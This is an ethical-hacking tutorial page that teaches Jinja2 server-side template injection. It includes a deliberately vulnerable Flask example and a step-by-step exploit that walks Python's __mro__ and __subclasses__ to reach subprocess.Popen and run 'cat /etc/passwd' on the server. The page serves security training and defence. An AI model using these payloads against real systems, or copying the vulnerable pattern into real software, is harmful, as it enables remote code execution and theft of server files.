Jinja2
Python Jinja2 is a templating engine that allows the use of Python code to create HTML templates. Jinja2 is often used together with Python web frameworks like Flask, but it can also be used independently.
Using Jinja2 to create HTML templates is quite simple. For example, you can create a Jinja2 template where you can use variables, conditional statements, and loops. Here are a few examples:
Using Variables
{% set name = "Matt" %}<p> Greetings, {{ name }}!</p>
This template sets the variable name to the value "Matti" and then prints the greeting "Hello, Matti!" to the HTML tag <p>.
Using conditionals
{% if age >= 18%}<p> You are of age!</p> {% else %}<p> You are a minor.</p> {% endif %}
This template checks if the value of the age variable is greater than or equal to 18 and prints "You are of legal age" or "You are a minor" accordingly.
Using loops
<ul>{% for product in products %}<li> {{ product.name }} - {{ product.price }}€</li> {% endfor %}</ul>
This template creates a list within the <ul> tag, where each list item (<li>) contains the product name and price. This template uses a for loop to go through the list of products.
These are just a few examples of using Jinja2. Jinja2 can be used in many different ways and it has a lot of features that make creating HTML templates flexible and efficient.
Injection
Jinja, like other template engines, can be used incorrectly and cause a nightmarish security hole in the application.
Here is an example of a vulnerable Flask application that incorrectly uses the Jinja2 template engine, allowing user input to affect the template itself, instead of just the data given to the template as it should have been.
if request.method == 'POST': name = request.form['name'] template = f'<h1> Welcome, { name }!</h1> ' return render_template_string(template) else: template = '''<form method="POST"> <label for="name">Name:</label><input type="text" name="name" id="name"> <button type="submit">send</button></form> ''' return render_template_string(template)
Detecting Vulnerabilities
The traditional way to detect template injections is to input {{7*7}} in the input and see if the application returns "49" in the same location in the HTML. This is an almost certain sign of a template injection.
Let's try:
Yes, the application is vulnerable.
Exploiting Vulnerabilities
Assuming you want to execute operating system commands to read the file /etc/passwd from the server's disk. In this case, you would like to inject the following code into the template:
import subprocess; subprocess.Popen("cat /etc/passwd",shell=True,stdout=-1).communicate()
(If you are wondering, shell=True enables running a command in the shell, and stdout=-1 means stdout=subprocess.PIPE, from which you can read more if you want here).
However, Jinja2 does not support this syntax. In Jinja2 templates, you can call a function, but the function must already be loaded in the application's memory, and you cannot use import.
However, you can try to find a class from the memory that suits your purposes and call it. In practice, this can be done conveniently by listing all the loaded subclasses of the object class. This can be achieved with the __class__, __mro__, and __subclasses__ attributes.
Obtaining the __class__ and __mro__ of an object type
First of all, you need to access the object type. This cannot be done directly in Jinja, for example, this would cause an error in Jinja:
{{object.__name__}}
Although in the normal Python context object.__name__ would output 'object'.
>>> object.__name__
'object'
However, you can search for objects using the object type with any variable through its __mro__ attribute.
Python module search order determines how Python finds and loads modules when they are imported into another module.
__mro__ is an attribute that can be found in all classes in Python and it contains the inheritance order defined by the class. The __mro__ attribute is a useful tool for examining and understanding complex inheritance structures, and it is even more useful in template injections.
For example, in Python, the string (str) is derived from the object, so str.__mro__ returns a list (str, object).
>>> str.__mro__
(<class 'str'>, <class 'object'>)
In other words, the following two codes do the same thing:
>>> object.__name__
'object'
>>> str.__mro__[1].__name__
'object
However, in the Jinja context, we cannot directly use the str type either, we have to get it as well. On the other hand, we can get it by creating a string and calling its __class__ attribute.
>>> 'hi'.__class__
<class 'str'>
By combining both the (__class__ and __mro__ attributes), we can retrieve the object type in a Jinja-approved way.
>>> ''.__class__.__mro__[1]
<class 'object'
Finding a suitable class using __subclasses__
__subclasses__ is a function available on all Python classes, which returns a list of all immediate subclasses of the class.
''.__class__.__mro__[1].__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, < class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>... <class 'subprocess.Popen'>...
There are generally a lot of classes, it's a good idea to copy them to a text editor and search for a suitable one. In this case, interesting is <class 'subprocess.Popen'> which is exactly the type we wanted to use for executing operating system commands.
The next step is to find out the index of the class, which means how many classes before your desired class. It needs to be retrieved by number. You could copy the whole string into a text editor and find out which number "subprocess.Popen" is on the list, but it is not only a bit slow but also prone to errors.
It is more stylish to use the Jinja2 template engine to build the view for you.
{% set classes=''.__class__.__mro__[1].__subclasses__() %}{%for c in classes %}<p> {{loop.index-1}} - {{c.__module__}}.{{ c.__name__ }}</p> {% endfor %}
The code may look a bit cryptic if you're not familiar with Jinja, but in practice it's a for loop that goes through all the classes and prints both the class order number, module, and class name inside a paragraph (<p>) on the page.
The number is 6. Remember that this varies by application, so it is important that you understand the concept and know how to find the appropriate class and correct index for yourself, regardless of the application.
We can verify this:
{{''.__class__.__mro__[1].__subclasses__()[6]}}
Yes! The right index. Now we can access the subprocess.Popen class. It's just a short distance to victory from here.
{{''.__class__.__mro__[1].__subclasses__()[6]('cat /etc/passwd',shell=True,stdout=-1).communicate()}}
Exercise
Try the attack yourself next! Two tips:
- This application also contains subprocess.Popen
- Index is not 6, but considerably bigger.
Jinja2 is itself safe and excellent alternative to old-fashioned HTML building. But the template must be kept static, preferably in its own file from which it is loaded. Only the template data can change during code execution, not the structure of the template.
Ready to become an ethical hacker?
Start today.
As a member of Hakatemia you get unlimited access to Hakatemia modules, exercises and tools, and you get access to the Hakatemia Discord channel where you can ask for help from both instructors and other Hakatemia members.